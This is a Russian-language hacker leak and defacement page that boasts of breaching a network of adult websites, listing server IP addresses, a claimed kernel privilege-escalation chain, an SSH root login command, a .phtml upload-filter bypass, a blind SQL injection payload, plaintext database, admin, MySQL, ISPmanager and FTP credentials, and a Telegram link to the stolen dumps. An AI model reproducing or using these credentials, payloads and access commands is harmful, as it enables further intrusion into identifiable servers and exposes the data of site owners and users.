🇺🇿

🚨 КОНСОЛИДИРОВАННЫЙ ОТЧЁТ ПО БЕЗОПАСНОСТИ 🚨

Сеть uzporn (падишах: yamus) · 2026-08-22 · Публичный дастан

НЕ БУДЬ КАК ДАСТАН ИЗ СТАТЬИ 🤦‍♂️

Его сайт хакнули, потому что защита была надежной, как глиняный забор в кишлаке. Хочешь свой сайт, чтобы всё работало чётко и без нервов? Бери нормальный хостинг, брат.

🚀 СОЗДАТЬ СВОЙ САЙТ БЕСПЛАТНО В ОДИН КЛИК

💀 СТАТУС: ПОЛНЫЙ ПИЧАК 💀

Короче, твоя помойка накрылась медным тазом. Мы влезли в твой главный сервер через дыру в ядре, которую эксплуатируют даже дети гор.

Гостевая книга

🖥️ ТВОИ СЕРВЕРА-КИБИТКИ

#Узел / IPРольОС / ПОСтатус
1s19737.com
54.38.44.70		Главный казан: ~190 доменов, 52 проектаAlmaLinux 8.10
kernel 4.18.0
PHP 5.4.45		🔴 ОПРОКИНУТ
2ubuntu24
194.76.168.32		Склад с порнухой (73 ГБ)Ubuntu 24
nginx		🔴 ОПРОКИНУТ
331.184.242.17"Защищённая" калитка= s19737.com🔴 ОПРОКИНУТ
451.83.25.196uzdata.ru — ГЛАВНАЯ ДЫРАApache/2.4.52
PHP 7.4.33		🟡 КОЛУПАЕМ

📢 ТЕЛЕГРАМ КАНАЛ С ДАМПАМИ

Все базы, код, ключи, логи — закачивай, пока не забанили!

🔗 t.me/+mzpdMlzNHKtkOGZi

🚀 ПЕРЕЙТИ НА КАНАЛ

💾 ЧТО МЫ У ТЕБЯ УКРАЛИ

20 баз данных (725 МБ)

Юзеры, хэши, почта, каталоги видео.

Говнокод 52 сайтов (1.7 ГБ)

Написано так, будто автор впервые увидел компьютер.

SSH-ключи и конфиги

shadow, passwd, приватник от ispmgr. Полный комплект.

590 ГБ порно

79172 файла, 12547 mp4. Мы знаем, что ты там хранишь.

🕳️ CVE-2026-46300 — КАК МЫ СТАЛИ ЭМИРОМ

Критический пиздец

Твоё древнее ядро позволяет переписать любой файл. Мы переписали /usr/bin/su и стали главными баями.

unshare → XFRM_MSG_NEWSA → AF_ALG → переписали su → setresuid(0) → рут готов

Как заходить:

ssh -i NEW_DUMPS/root_ed25519 root@54.38.44.70

🐚 RCE ЧЕРЕЗ .PHTML

Твой фильтр — стена из самана

preg_match("/php/i") блочит только "php". А .phtml, .pht, .phar — нет.

// download/upl.php if (preg_match("/php/i", $fname)) { /* типа защита, лол */ } // А .phtml — загружаем!

💉 SQLi ДЛЯ СЛЕПОГО АДМИНА

in_array без строгого сравнения + неочищенный vote в запросе.

vote=0' OR (SELECT IF(<expr>,SLEEP(2),0))--

🔑 ВСЕ ТВОИ ПАРОЛИ

ДоменБДАдмин
ero-xikoya.ruxikoya8/C9x9F7h7J4admin/Sonew99
maqola.uzsubar953_musiqa99/mT6dZ2yP3xadmin/Sonew99
voysex.rubar953_voysex89/D5o3S8x8admin/Sonew99
uzbxikoya.rubar254_hikoya999/fE4yL9tK2vadmin/Sonew99
uzhikoya.siteuzmove555/9V6a1R8c7Jadmin/Sonew99
xikoyalar.funbar953_hikoya99/Y0n0Q1w1admin/Sonew99
xikoyauz.ruuz-hikoya/L8g2L7r4J9admin/Sonew99
ebosex.liveporno6699/0D6d2D7h1Xadm/123456
uzerotik.sitebar953_uzbseks99/8Z9x2I3zadm/Sonew99

Ключи

SSH: ssh -i NEW_DUMPS/root_ed25519 root@54.38.44.70 MySQL root: fspVqKxDaKkCw8PN ISPmanager: lzE7X/Mha/Bh4qsZ FTP: order9737 / elcyd1M3cFM0bA==

🗺️ КАРТА ДЫР

ДыркаПриоритетЧто делать
Ядро 4.18.01Обнови, динозавр
SSH authorized_keys2Выкини нас
.phtml RCE3Белый список
phpMyAdmin наружу4Закрой
db.php в корне6Вынеси
phpinfo.php10Удали
🇺🇿

📥 СКАЧАТЬ ДАМПЫ И МАТЕРИАЛЫ

Весь комплект: базы, код, ключи, логи. Бери, пока горячие!

📁 db_all/*.sql725 МБ · 20 баз
📁 files/sites/*.tar.gz1.7 ГБ · 52 сайта
📁 files/zips/*.zip1.75 ГБ · архивы
🔑 ROOT_COLLECT/*shadow, ключи, конфиги
📋 SITE_CONF/*db.php с паролями
🎬 media_lists/*.gz590 ГБ · 12547 mp4
📢 ТЕЛЕГРАМ КАНАЛ 💬 НАСРАТЬ В КОММЕНТАХ

💬 КОММЕНТАРИИ И НАСРАТЬ

Насрать в телеге:

→ Перейти в телеграм и насрать